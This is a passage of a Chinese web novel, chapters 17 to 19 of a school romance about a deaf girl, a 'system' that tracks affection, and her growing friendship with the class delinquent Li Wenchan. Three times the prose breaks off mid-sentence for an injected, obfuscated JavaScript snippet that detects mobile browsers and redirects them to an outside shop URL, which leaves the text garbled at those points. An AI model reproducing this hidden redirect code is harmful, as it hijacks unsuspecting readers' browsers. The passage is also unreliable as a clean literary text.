池映雪不知道那边在说些什么,只是顷刻与李闻蝉流转的眼神对上,很短一瞬。 李闻蝉先移开,扬起痞笑:“来看戏啊。” 看戏。 一阵冷风从门口灌进池映雪的后颈,天气预警真的没出错。 李闻蝉深深打量一眼池映雪身前的秦书,摸着校裤口袋离开。 里面只剩最后一颗糖,还是昨晚他从橱柜翻出来的,看来得买新的了。 李闻蝉断断续续地想着,正巧和抬脚进门的沈星桥对视。 李闻蝉张开嘴,似乎想要问什么,却终于没出声。 他头也不回的跨出门槛,只是在最后轻轻带上了办公室的门。 沈星桥目不斜视,手拿试卷走向齐幂的工位。 对宁世延的处理尘埃落定,暂时告一段落,齐幂刚从办公室右角回到座位,戴上眼镜便看见得意门生正在偏头眺望那边。 宁太太接着对秦书说好话,秦书不为所动,领导们也不再插手;宁世延和两个跟随者灰头土脸的离开,那个一直没什么存在感的聋哑女孩由徐静萌送到门口。 齐幂收回目光:“星桥,数联的结果月底报送,有把握吗?” 沈星桥沉吟片刻:“省一应该没问题。” “你妈妈昨天打电话来问,你知道,她对你的期望不止省一。”齐幂又看了一眼刚才争端发生的方位,若有意若无意。 “不要分心,宁世延等人,不值得你费神关注。” 池映雪从办公室出来时,早读正好开始。 她回头看了一眼折返的班主任,没有及时回班,而是往刚才看见的,宁世延背影消失的连廊去。 她到的时候,平时骄傲精致的宁少正一个人蹲在地上,蔫儿巴巴。 池映雪通过系统得知,刚才池鲤鲤找宁世延过来说话,质问他问什么要牵扯出自己。 池鲤鲤说她并没有让他做这些,现在不少人都开始了阴谋论,她很生气。 宁世延被女神怒怼,背影比出办公室时更失魂落魄。 察觉到人影,宁世延回过头,强忍住眼泪嗤笑自语:“不会是来装好人的吧,怎么,看我哭就要要原谅我?小爷还不需要!” 他也没有哭!!他只是,在祭奠他还没出生就死去的爱情…… 池映雪歪歪头,在手机上打字,屏幕翻转对准宁世延。 「你好,我来嘲笑你了。」 宁世延:“……!!!” 宁世延崩溃了。 他狠狠转身,也不顾她能不能听见,捂住耳朵啜泣,将近一米八的人缩成一团抖起来。 池映雪:她还没说完呢。 她眯起眼睛,想着来时一路没有旁人,啪嗒啪嗒走到宁世延的正面,重新让他看手机屏幕。 宁世延抬起肿眼,不由默读眼前的几句文字。 「有一件事,我必须说明。」 「我不进一班,不是因为我怕了,或者成绩糟到你在论坛说的那种地步,只是遵守学校的规则。」 「我要进一班。靠自己,考进去,堂堂正正。」 令你骄傲的资源砸在身上,也未必考得过我。 当然,最后一句话池映雪只是在心里说,免得立下什么flag。 手机的自带字体方方正正,简短的几句话无声而振聋发聩。 宁世延抬起头仰视池映雪。 柔弱、瘦削,看上去好欺负还有些呆。 厚刘海一点都不精致,却在连廊的玻璃墙前被阳光染上灿光。 他以前觉得,这个土气沉默的女生哪里都比不上身为校园女神、圈内小公主的池鲤鲤,但脱离喜恶…… 这个角度,池映雪,还挺好看。 [叮!攻略对象好感+2。] 池映雪扫到弹出的电子屏,立马抬头环顾四周,果然在连廊拐角靠里那侧墙看见背靠在上面的李闻蝉。 他没穿校服上衣,黑卫衣宽松有型,双手抱在胸前,冷白色的手指有一下没一下敲在黑色布料在肘关节的褶皱上。 那双浓黑的眼含着笑扫过来,复杂情绪里只有那股莫名的骄傲能被读出,嘴里还叼着根棒棒糖。 池映雪无语。 怎么有人吃棒棒糖和抽烟一样,是觉得这样比较酷吗? 她瞬间想到苹安关于“校霸”的描述,以及昨天亲眼目睹的“案发现场”。 宁世延显然也想到了,和李闻蝉目光相对半秒便捂着鼻子仓皇跑走,还差点摔了一跤。 池映雪相信李闻蝉。 她其实还大胆地猜测过,他是不是为了她去打宁世延他们?可是他们现在连朋友都算不上,又怎么会呢。 池映雪大概猜到他是给穆雨阳出气,这是义气的行为,但想到那些血,还是有点发怵。 就在她犹豫要不要上前打招呼的时候,李闻蝉刚刚直起的身一滞,神色被笼罩在墙边棕榈盆景叶片的阴影下。 他貌似懊恼地抓了下头发,然后用帽子套头,率先走开。 第一节课是数学,徐静萌讲完上次留的题后转过去板书,让大家先自习今天要学的内容。 万苏瑶低头,偷偷抽出桌面下的手机。 水群弹出消息提醒,池映雪望了一眼徐静萌的背影,在专门配备的课用平板切出分屏查看。 万苏瑶发了三张图片。 「我爸刚发给我学校在他们家长大群里公布的道歉和调查声明,还有宁世延的手写道歉信,下周校会当众朗读!」 「朋友们,让我们在此庆贺反垃圾偷拍事件圆满收官!!(撒花)」 胡挚手速巨快:「我万姐威武!」 「就是,论坛上现在一水的“花姐娶我”~」 好几个人纷纷应和,万苏瑶有些脸热:「都是小雪聪明,想出了这些办法,大快人心!」 池映雪:「没有,主要是感谢你们帮我,我一个人扭转不了风向的。」 秋怡:「别客气,下次有这种事还找我,有巧克力也是!(坏笑)(勾引)」 其他一起帮忙的女生在下面接龙,章子健忽然冒泡:「下次这种事也叫上我。(勾引)」 胡挚:「不是,你个学委怎么也上课玩手机?」 章子健:「班长都在,我小小学委怎么你了?」 秋怡:「?」 秋怡:「我想起件事,匿名用户2121是我们的人吗?就是那个跟在我和瑶瑶后面爆料cll是假千金那个。」 万苏瑶:「我也好奇,雪,你有头绪不?」 池映雪原本正乐得潜水,赶忙发了一个摇头的表情,其余几人没讨论出来,也纷纷作罢。 群里的气氛热热闹闹,池映雪的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635237|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛弯起来,不由瞥向右侧。 上课这么久了,这人又不知道去哪。 徐静萌忽然转过身来,把大三角尺和粉笔往讲桌上一丢。 四散在教室不同位置的七八个人课桌下不约而同地响起手机撞击抽屉的声音,以及接二连三、欲盖弥彰的咳嗽。 唯独池映雪听不见,好奇地探脑袋往右边窗户那里看。 胡挚比她更敏锐,做贼一样娴熟地摸开窗户,小半个身子都伸出去,拿着手机不停打字。 池映雪收到他的同声传译:「是蝉哥!」 「萌萌姐露出招牌死亡笑容:“李闻蝉,你好得很啊!”」 池映雪想象着那个画面,没忍住小小地笑了一下。 抬头看,同学们都或握笔或低头翻书,但仔细瞧去就会发现谁也没专注其中。 胡挚:「萌萌姐:“八点上第一节课,你看看现在都几点了?!”」 他还没来得及打出李闻蝉的回答,池映雪就动了动右侧的耳朵。 李闻蝉:“……七点七十五。” “噗!!”胡挚一下笑倒在窗台上。 他蝉哥太有才华了! 池映雪眼看着徐静萌匆匆往窗户这边来,慌忙收回视线。 再敢偷瞄过去时,徐静萌面前已经站了两个人。听李闻蝉讨价还价的语气,应该是在探讨该罚站几节课。 居然还有商有量的呢。 ——且不说这个,他居然会乖乖罚站么? 池映雪不由在脑海里念出那天被许苹安划上重点的一个字。 校霸的…“霸”! “哐当!”一声巨响忽然炸开,池映雪吓了一跳。 幸好周围的大家都是,没人注意到她身为聋人的反常。 徐静萌:“李闻蝉胡挚,你俩又在搞什么!” 李闻蝉从地上爬起来,先把不慎被绊倒的胡挚拉起来,然后幽幽举起双手。 “我的问题,我撞门上摔了。” 池映雪想笑,结果莫名其妙被李闻蝉诡异地瞪了一眼,她赶紧死死抿住嘴。 李闻蝉哼了一声。 某人就和能听见似的,脖子都缩了缩。 李闻蝉的视线很快移开,揉揉耳背,飞快摇了一下头,抬眼扫过前方若干人。 同学们见状,慌忙回头。 他拿好书,直接站到池映雪身后。 那种存在感实在太强烈,池映雪不由摸了摸后颈,僵硬地打字过去。 「其实,你可以直接在你座位上站。」反正是最后一排,又不会挡到别人,还有桌子。 而且,他就这样站在她后面,像是野兽盯着食物,比考试时监考老师一直盯着试卷还磨人。 池映雪把椅子悄悄往前移动了些,身后的视线依然如影随形。 CHAN:「我不。」 CHAN:「池同学,站在座位上,怎么能叫罚呢?」 池映雪咬了咬牙。 你还知道自己在罚站呀!她还当是她在受罚呢。 教室末尾这一块地,前面的人都在看书或听讲,胡挚在李闻蝉旁边站着打瞌睡。 秋风轻吹过,他的头点了又点,和其余所有人一样,忽略了有一前一后两个人在偷偷对着屏幕聊天。 CHAN:「蘑菇,你说你胆子这么小,怎么还敢一个人走夜路回家?」 李闻蝉掀起眼皮,再次凝了一眼女孩子苍白到血管清晰可见的脖颈。 黑色的低马尾垂落在一边,背影看上去就是个标准的乖学生。 他收起戏谑的神情,打字速度越来越慢:「下次再遇到我这样的人,不怕变成第二个宁世延?」 反正池映雪听不见。 李闻蝉轻轻叹出一声自嘲的笑。 在他的视线里,池映雪从收到这条后就一直低着头,也不回复。 李闻蝉百无聊赖地翻开课本,正好徐静萌投屏推演一道例题,池映雪坐直身看向投影仪,李闻蝉难得听了进去。 题目讲完,池映雪例行整理。 笔尖刷刷的声音停下,不一会儿,李闻蝉的手机传来震动。 小雪:「我不会。」 小雪:「你也不会。」 18. 第 18 章 大课间将至,秋怡躲着老师在女生小群里摇人:「食堂旁边的小卖部新上了烤玉米肠,@瑶瑶@小雪@……一起~」 万苏瑶回了一个哭唧唧。 「我去不成,我那个在一班的邻居你还记得不,一会儿得去给她送个东西。」 「哎!你们全都走了,我一个人上下楼好寂寞(大哭)」 池映雪见状,踌躇了一会儿。 她有点想尝尝烤玉米肠,也想和大家一起吃。 但是,瑶瑶帮过她那么多…… 她私聊万苏瑶:「我在群里说一声,陪你一起去吧。」 万苏瑶一下子转回头,高马尾在空中挽花,大眼睛一闪一闪,看的池映雪都有些羞赧。 正好打铃,她挽着池映雪就往楼上跑。 听见下课铃的胡挚准时睁眼,正好看见两个女生手挽手在走廊上小跑,一高一低的马尾在空中轻甩。 他侧过脸,发现李闻蝉也同样看向窗外。 他还看出来他蝉哥难得在下课铃响之前就爬起来,也可能整整一节课都没睡。 瞧那双星眸,写满了胡挚读不懂的疑惑,茫然得都要明明灭灭了。 胡挚伸手在他面前挥了挥:“hello?” 李闻蝉回神:“?” 胡挚脸朝窗外,扬了扬下巴:“蝉哥你发现没,她俩关系还挺好。” “万姐虽然说是‘交际花’,实际上除了班长,还很少见到她对谁这么热情呢,新同学在咱们班融入的可真不错。” 李闻蝉凝思几瞬,没克制住淡声道:“但愿吧。” 一班门口。 万苏瑶要找的女生喊她直接进班内说话,她回过头,池映雪大概猜出了她们的意思,指了指脚下,在原地等候。 万苏瑶其实想让她一起进班,但又想到一班有几个讨人厌的家伙,于是发消息嘱咐:「那你就在这里哦,我尽量快一点!」 池映雪笑着注视她的背影逐渐变小,收回视线时,无意间透过窗户,望见沈星桥在给池鲤鲤讲题。 池鲤鲤坐在靠窗的位置,只不过是教室里靠外面阳台那侧。沈星桥站在她的桌子前,手里握着那支钢笔,在两人面前的试卷上划线,时而讲解,时而讨论。 池映雪不知道他们的声音是怎样的,根据她跟着苹安看小说的经验,应该是一个温柔包容,一个娇俏清脆,即使知道,也想象不出来。 看着他们的人不止她一个,周围还坐着几个女生,都捂着嘴,脸上是见怪不怪的姨母笑。 池鲤鲤还在沈星桥看题的空隙抬起眸和女生们对视,满面桃花般的笑意,大抵习惯了被这样打趣和注视,看不出羞恼。 池映雪忽然想到,沈星桥说两家是世交。 那他们应该算是青梅竹马吧。 系统这时冒出来,跟随她的视线,字迹浮现:[宿主,你没想错,而且沈星桥就是你看过的小说文案里那个未婚夫。] [在这本以池鲤鲤为女主的衍生文里,沈星桥是她的男主。] 池映雪:“那我是什么?” ……其实已经知道答案,可还是忍不住再问一次。 系统莫名有种不舍,电子屏卡了一下,最后还是逐字显露:「你是他们的对照组啊,不得所爱,衬托女主。」 池映雪的心尘埃落定,羽睫低垂。 “这样啊。” 系统无法从这句心声中辨识出任何一种情绪,只能干巴巴地看着宿主默默背过身去,面朝着走廊外的苍白色天空。 她看上去就像是天空的产物——裹藏着连绵的阴雨,缩起来的一小团云。 早晨的太阳收敛,秋风卷着潮湿的寒凉,大约两三分钟过去,身体一侧忽然传来空气的流动。 池映雪知道这是有人靠近的前兆,以为万苏瑶这么快就回来了,调整好微笑侧眸—— 沈星桥? 怎么会是他? 他不是刚刚还……池映雪目光有些错愕,下意识看向他身后的窗,被沈星桥递来的手机挡住视线。 「真的是你,映雪。」 沈星桥笑容温淡,不知道是不是错觉,池映雪在他眼中看见了惊喜。 「你来这里找池鲤鲤吗?」 映雪。池鲤鲤。 池映雪不自然地抚了一下耳边的碎发,摇摇头,指向教室里面,万苏瑶所在的方向。 沈星桥若有所思。 他没有走开,池映雪点了点他的手机,接过来打字:「你还有事吗?」 沈星桥凝眸,渐渐笑开,没有回答。 池映雪也没再主动提他怎么不走的事,两个人就这样静静地站着。 又三分钟,万苏瑶跑过来,还不等她对沈星桥的出现产生惊讶,他就对池映雪轻轻颔首,走回班里。 万苏瑶重新挽上池映雪,取出手机八卦:「你已经和沈星桥认识了啊?他刚出来干嘛?」 「不会是看你一个人在外面,专门出来陪你的吧?」 池映雪脚步微顿,忍不住回头看了一眼,却因为玻璃反光什么也没看见。 陪她……吗? 走近5班教室。 万苏瑶推开后门,池映雪跟在她身后进去,一眼就看见最后一排的李闻蝉浑身是血! 池映雪:!!! 李闻蝉面无表情地坐在椅子上,背靠着墙,比早上那会儿多加了件校服外套。 鲜红的血迹染在白色的布料上,呈现喷溅状,缓慢地染开、扩散……还有不少沾在他白皙的小臂,十分扎眼,十分可怖。 再看他身边,穆雨阳满手诡异的红,颤抖着张大嘴,一脸哭丧;胡挚低头不断抽纸,也在说着什么。 四面八方的同学们都屏息凝神,坐在原位回头偷望,又不敢靠近。 这、这可是在学校啊。 池映雪扶住门把手,膝盖有些软。 这就是……校霸。 这时,李闻蝉挑起一道眉望向她,鼻尖还挂着一小条血痕。 池映雪无声吞咽,在他脸上看见玩味、邪气、顽劣的笑,让人下意识想逃走。 池映雪攥住门把手的指关节收紧,越来越发白,骤然松懈。 她的鼻子动了动。 不对劲。 怎么没有血腥味,反而像——墨水? 池映雪直愣愣踩着小碎步往前靠,果然在被两个男生挡住的桌面上看见了一瓶红墨水。 还有一根墨囊与笔壳分离的崭新钢笔。 池映雪:…………… 她再抬眼,李闻蝉已经收起了吓唬人的坏笑,锐气收敛,化为扑哧一声。 那双眼睛笑得发亮,嘴角弧度很大,左边隐隐约约露出一个特别浅的梨涡。 他还仗着她“听不见”,自言自语:“真好骗。” 池映雪:! 池映雪把牙齿在紧抿的嘴里咬了又咬、磨了又磨,想瞪他又有点不敢。 她鼓着腮帮子踏步回座位,埋进书堆里,不看右边。 她真的生气了! 水群里,秋怡突然@她和万苏瑶。 秋怡:「笑死,刚你们俩没看见,一班纪委来炫耀午练小测连续一周第一后齐幂给他发的BS的钢笔和红黑墨水套装。」 秋怡:「然后说要送给他蝉哥,结果拿红墨水灌进去试了试,发现写不出来,他在那里研究半天,不知道怎么搞的,噗呲一声——墨喷了lwc一身!啊啊啊啊!那个画面我这辈子都忘不了!!」 池映雪扫了一眼消息,咬住嘴唇,余光看见右边的两人拿着校服念念叨叨出门,这才哼着气勾了勾嘴角。 系统:[宿主,别闹脾气啦,你还有任务没做呢!] 它把那颗一大半都显示着黯淡灰色的爱心往池映雪面前推了推,[现在男主的好感度已经有16.9%了,马上就要达到第一级,成为朋友了呢!] [男主现在正在和小弟洗校服外套,宿主要不要去帮帮忙?我听说主动帮人做事很加好感的!] 池映雪低着头,将没有按下的中性笔在作业本上轻轻点着,纹丝不动。 万苏瑶:「秋怡你现在不怕lwc了?他可还在群里呢。」 章子健:「她怎么不怕,刚才都不敢大声笑。」 秋怡:「嘘,别管。lwc什么时候看过群?」 胡挚:「啊?我蝉哥很可怕吗?」 秋怡:「有点……你不觉得他看上去很凶很冷淡吗?再说,他高一那些打架的图还在论坛挂着呢。」 他们这边还没说两句,有个叫“雨后阳光”的人就插进来。一看就是穆雨阳,群昵称还是“5班编外人员”。 穆雨阳:「谁懂啊!我本来是来献贡品的,以报蝉哥之前和这次的大恩,结果报恩没有,成报仇了!(大哭)」 胡挚:「你俩人呢?」 穆雨阳:「洗手池这里,还不知道能不能洗掉。」 章子健:「你送蝉哥笔?」 章子健:「蝉哥还用笔呢?」 穆雨阳:「哼,我又不是你们这些富家少爷,这应该是我本学期唯一一次能拿午练奖品的机会了。」 穆雨阳:「有没有人众筹小的赔礼啊~~」 池映雪从宁世延在论坛里的发言知道穆雨阳是走贫困推优进来的,大概明白些他的情况,很能理解这番话。 就是后一句不太懂,什么叫唯一一次? 有其他人在群里提出来这个她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635238|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没好意思问的疑惑,穆雨阳那边应该没继续看手机,章子健帮他回答:「因为只有上个周,沈神不在。」 池映雪恍然大悟,的确,沈星桥看上去成绩就非常好,还搞数学竞赛。 “沈神”…… 没有拿手机的那只手捏着笔,前前后后小幅度摇晃,池映雪的眼睛逐渐闪烁起向往的光点。 万苏瑶:「@5班编外人员(坏笑)我有巧克力,在肚子里。」 穆雨阳:「蝉哥不吃巧克力,下一个。」 穆雨阳:「等下,肚子里?你走开!」 池映雪斜着眼睛瞄屏幕,看到这两条,手里的笔停下来。 之前从窗缝漏入她耳廓的冷风,渐渐消解。 “你又不是不知道,我不吃她送的那玩意儿。” 所以,是不吃。 不是不要啊。 小巧的鼻子很轻地耸动一下,池映雪写了几行字,不似以往整齐,字和字别别扭扭地挤在一起。 她放下笔,“腾”地一下站起身,从抽屉里翻出秦书之前准备的护手霜走出后门。 一直安安静静的身后传来些微声响,万苏瑶放下手机转身,正好看见池映雪逆光的清瘦背影。 她打字问胡挚:「小雪去干嘛啊?」 胡挚:「不造啊,上厕所?」 万苏瑶挠头。 「我们刚回来前去过了呀。」 「话说。」 「?」 「为啥咱俩也要打字聊天?」 万苏瑶:………嘶。 池映雪走到水房旁的公共洗手池时,李闻蝉和穆雨阳正在大眼瞪小眼。 水池里孤零零地躺着打湿的校服,一看就被两人大力蹂躏过,皱皱巴巴,红墨水依然明显。 李闻蝉双手还淌着水,呆呆地垂在半空中。 浓黑的眉毛拧起来,在高挺的鼻梁上方竖起浅皱,嘴角向下扯着,显然困惑又头大。 池映雪:笨蛋。 李闻蝉突然注意到她,冷哼着瞥过来。 虽然只是在心里偷偷叫,但池映雪还是第一回站在人家面前吐槽,有些心虚地收了收下巴。 不过他又听不见。 池映雪这么想着,大着胆子和李闻蝉对视一眼,快步上前,打开护手霜的盖子。 李闻蝉:“诶——” 他刚想伸手去推,感受到掌心的湿润,猛地停下来。眼看着池映雪将护手霜挖出来一小块,均匀地抹在他惨兮兮的校服上。 她没有和他们一样用蛮力抠搓,很小一双手,仔细看还能看见上面或薄或厚的茧,正安静地揉着红墨水晕染开的地方。 穆雨阳不解地上前一步想打断她,被李闻蝉抬手拦住。 池映雪背对着他们,抹开护手霜,白外套上的红迹似乎比刚才淡了些。 一时间,洗手池所在的窄道里几乎只剩衣料揉搓的声音,池映雪自然什么也听不见。 她做什么都专注,绑得低低的马尾松弛,和耳后的碎发绕在一起,也没有发觉。 李闻蝉动了动手指。 池映雪忽然伸手,李闻蝉将手飞快揣进兜里。 穆雨阳:“蝉哥,你手还湿着呢!” 李闻蝉:“……” 洗手台上有学校公用的洗护用品,池映雪在上面找到了酒精消毒液和洗洁精,分别将它们挤在校服上搓搓,静置几分钟,冲干净后终于转身。 而她手里的外套已经重新趋于雪白,不仔细看,一点红色的印迹都看不出来。 李闻蝉、穆雨阳:!!!! 两个人没见过世面的样子极大地取悦了池映雪,她小得意地笑了一下,头微歪着,碎发垂到脸颊上。 李闻蝉猛地咳嗽一声。 他匆促地收回震惊的眼神,推了推穆雨阳往前伸的呆脑袋。 “就你这还是物理年级第一,看看人家。” 穆雨阳捂着头。 “虽然但是蝉哥,这应该是化学……” 李闻蝉:“………哦。” 穆雨阳再次凑近端详校服,抬头给池映雪竖起两个大拇指,敬佩道:“真的看不太出来了,还是我雪姐厉害!是吧蝉哥?!” 池映雪看懂了那两个大拇指,腼腆地笑了笑,无意识转眼,恰好撞进李闻蝉的视线。 她又收获了两个大拇指。 李闻蝉的浓颜放大了些,没有丝毫笑意,反而有些认真。 清亮的声音懒洋洋的,像是早晨收起来的太阳光又抑制不住地从云层后溢出来。 “是。” 他并未专门清晰地做口型给池映雪看,却不为人所知地流入她的耳里。 “——雪姐厉害。” 19. 第 19 章 快上课了,穆雨阳赶紧跑上楼,池映雪和李闻蝉前后脚回班。 池映雪推开后门的时候还犹豫了一下。 两个人一起进去,她还拿着他的校服,会不会…… 李闻蝉却径直走过她,从前门进。 池映雪愣神半晌,关门时发现他站到了讲台前。 李闻蝉:“我们班篮球赛拿了年级第一,今天发了奖杯,已经拿到萌萌姐办公室,想拍照留念可以去。” 池映雪假装没听见,捧着书坐下,耳朵竖起来。 “为了感谢各位同学的支持和加油——” 李闻蝉语速比平时慢一些,直到瞥见胡挚几人全神贯注地盯着他,都面露期待,手机也不碰了。 他略一停顿,恢复正常说话的速度。 “明天下午体育大课,我请大家喝奶茶,HiTea,一人一杯,现在每个人把想喝的和备注编辑一下,女生发给班长,男生给学委。” 池映雪低埋着头都能感受到桌子的震动,应该是被前方欢呼雀跃的氛围影响。 常年静音的手机忽然也震起来。 李闻蝉在群里@她:「在这个链接里点奶茶,请你喝。」 「全班都有。」 底下是HiTea奶茶店的点单小程序。 没人觉得有什么不对,万苏瑶这才想起他们刚光顾着李闻蝉罕见的发言,没人告诉听不见的池映雪。 她连忙跟在李闻蝉下面,把他刚才在台上的话对池映雪复述一遍。 秋怡乐呵呵地接了一句:「真好,李同学帮小雪直接点了,我少统计一个人!」 点开小程序,五花八门的奶茶看的池映雪眼花缭乱。 她知道这家店属于连锁奶茶店里蛮贵的那一种,没有喝过,有些无措。 万苏瑶:「小雪,你喝哪个呀?给点参考,我有选择恐惧症!」 池映雪握紧手机。 李闻蝉刚好从她桌前路过,没有回座位,而是在她椅子旁站定。 他俯身凑近,碎发垂落额前,落下浅浅的影子,那双锐利的眼应是在看她手指之下,来回翻看都毫无头绪的界面。 池映雪耳朵生出窘迫的红,将手机屏幕往内扣。 她又闻到那股柑橘的味道,上次闻还是早操的时候,他给了她一根棒棒糖。 很甜。 CHAN:「有喜欢的口味吗?」 池映雪下意识滑到有个葡萄emoji的侧栏,指尖轻点。 “多肉…葡葡。”李闻蝉下意识念出来,似乎也想到了什么,很轻地笑了一声,“噢——” “葡萄?” 李闻蝉的校服外套上还剩一点浅浅的红没有洗干净,池映雪用这个理由,偷偷把外套叠好塞进书包,晚上背回家洗。 秦书不像应母和以前的池映雪那样做家务,有专门的阿姨和洗衣房。 鉴于上次家里对异性交往的态度,池映雪觉得多一事不如少一事,和系统确认过无人后,轻手轻脚地溜进洗衣房。也亏的全家只有她住在二楼,方便单独行动。 系统见她没有用洗衣机,而是依然手洗,疑惑道:[宿主这不是能手搓干净,为什么还要带回来?] 池映雪才不会说她是没用过洗衣机。 不过,确实有别的考量。 “今天上课和他聊过天了,明天洗好了还衣服,又能聊一次。” 这不就又有一天啦? 系统目光崇拜:[原来如此,宿主,你可真是个聪明蛋!] 池映雪:“……聪明蛋?” [对呀。]系统懵懵懂懂,[你不是说男主大人是笨蛋吗?笨蛋的反义词,不就是聪明蛋嘛!] 还是情侣名呢,嘻嘻!可惜宿主无心攻略,不嘻嘻。 池映雪假笑了一下,生硬地转移话题:“那个,你之前不是说我帮他会加好感吗?” 没看见加好感的提示呀。 系统也纳闷:[对耶,好奇怪哦!] [可是我专门搜集的攻略里说,帮忙洗衣服、送东西、洗手作羹汤什么的,人类男性都很吃这一套啊……] 池映雪听到这句话,心里有点怪怪的,却不明所以。 “可能要等明天我洗完还给他后再加?” 然而,直到她第二天一早互发完消息、站在李闻蝉面前把校服给他,也没有提示加好感。 池映雪有些泄气,再看李闻蝉,面上甚至有些为难。就好像她主动帮他洗好了衣服,他还不是很开心。 虽然是手洗,但她洗的很干净呀。还专门用了池家洗衣房里进口的香氛,熨烫也是按照网上找的步骤一步步来的。 ……他果然还是嫌弃她吗? 池映雪用自己都意识不到何种情绪的眼神瞪了他一眼。 李闻蝉偏过头,眸光隐隐波动,嘴唇动了动,最后没有出声。倒是从抽屉里掏出一支笔,随手翻开桌上的课本第一页写字。 「不」 他看着雪白如新的校服外套,停顿一瞬,划掉了“不”字后面已经落笔的竖撇。 「不怕我了?」 池映雪有些惊讶,不管是内容还是他的字。 飘逸流畅,连笔张扬,漂亮又自成章法的行书。 可是,他怎么会知道她怕他? 李闻蝉就像能读懂她瞪圆的眼睛,「拜托。」 「超明显好吗?」 池映雪心虚地眨了眨眼,手忙脚乱地把校服塞进他怀里转身,却没走动。 ——李闻蝉扯住了她的外套衣角,不费什么力就把池映雪拉转回来。 她感受到那股力量,有关他那些暴力的传闻在脑海里飞快掠过,脸蛋泛白。 说实话,还是有点怕。她就不该没忍住瞪他。 回身正对他,池映雪却只看见李闻蝉意味不明的笑。 她惯会读空气,不知为何,竟在这时读到了一丝浅浅的无奈和…… 落寞? 李闻蝉松开她,手攥成拳往上抬。 池映雪定在原地,视线呆呆地跟随他的拳头移动,并不去躲。 果然,那只拳在离她不远不近的半空中停下来。 然后,大拇指缓缓伸出来,向前弯动两下。 她对他用过的手语。 谢谢你。 体育大课是下午第一节,今天午自习没有小测,万苏瑶和胡挚在课桌下双排。 一局结束,正好临近下课,胡挚关掉游戏,点开水群:「不打了,万姐,我去趟小卖部,一会上课人肯定巨多。」 池映雪有些疑惑,私聊问万苏瑶:「体育大课为什么小卖部人会多?」 「哦哦,你上次没和我们一起。是这样,大课查的不严,跑完步就自由活动,我们基本上都会去食堂小卖部等地方坐着,吃东西聊天看剧。」 池映雪呆呆地张了张嘴,这么惬意的吗? 章子健:「我的好虎子!我和秋怡已经取到奶茶了,现在才从校门口回来,你帮我俩一人带包黄瓜薯片呗?」 胡挚:「(OK)蝉哥呢,他要啥?」 章子健:「他那袋里还有给萌姐和教练的,先走了,我们不在一块。」 万苏瑶忽然一拍大腿:“虎子,你提醒我了!” 她赶紧给池映雪发了条消息:「走走走,咱俩铃一打就赶紧和虎子一起偷跑去小卖部。」 「玉米肠~我的玉米肠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635239|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !等跑完步再去说不定就没了!」 体育大课,跑完步后,万苏瑶噘着一张嘴进教室,两手空空。 池映雪跟在后面,双手插在校服外套的兜里,也有些遗憾。 秋怡正在分奶茶:“瑶瑶,玉米肠好吃吧!” 万苏瑶幽幽瞪了她一眼:“你看我这像吃到的样子吗?” “你们不是刚下课就去了么?” “哎……”万苏瑶郁闷地吸了一大口奶茶,“今天上新第一天,太火爆了,大妈说中午饭后就只剩最后一根,刚好在我们仨跑过去前被一个男的抢着买走了。” 她恶狠狠道:“啊啊啊!不要让我知道那人是谁!还我肠肠!” 秋怡又发完一杯奶茶,手里袋子空了,一拍脑门,给池映雪发消息:「小雪,你的那杯是李闻蝉单独下单的,在他那里。」 她刚发完,池映雪就听见后门打开的声音。 秋风流淌进来,有些回暖。脚步声离她越来越近,池映雪捏了捏兜里的拳,将刚买回来的东西包在手心,很快又松开,抽出空落的手,没忍住回过头。 李闻蝉眼里闪过意外,冲她斜着勾了一下右边的唇角。 冰凉的多肉葡葡上还挂着水珠,李闻蝉抽出一张手帕纸擦了擦杯子,又抽出另外两张,在桌下递给池映雪。 柔软的纸泛有淡茉莉香,轻轻覆满她的手掌,二人的指尖不小心相碰。 池映雪下意识抬起头看周围,万苏瑶趴在桌上吸奶茶,胡挚和秋怡在旁边说说笑笑,没人注意到这边。 刚要收回眼,手上却蓦然多了一道热热的触感,隔着塑料袋的材质。 她低头,白色的手帕纸上躺着一根被装在透明袋子里的烤玉米肠。 李闻蝉自言自语:“真有那么好吃?” “最后一根,我自己都没尝。”他边直起腰边嘟囔着,“下次某个人可不许在心里偷偷说我吝啬了。” 池映雪眼睛瞪大。 她还真……说过这话。 他、他又看出来了? 李闻蝉转身座位,正好过道上穿过几个手拉着手的女生,后面的胡挚还在和前排说话。 声音繁杂,李闻蝉下意识皱眉,觉得自己似乎忽略了什么,低眸看见桌面上的手机,抛之脑后。 池映雪手机动了动。 CHAN:「别发呆,趁热吃。」 CHAN:「随手买的。」 这会儿语气倒是很淡。 前排转过去睡觉,胡挚椅子一转,见李闻蝉好像在发企鹅。 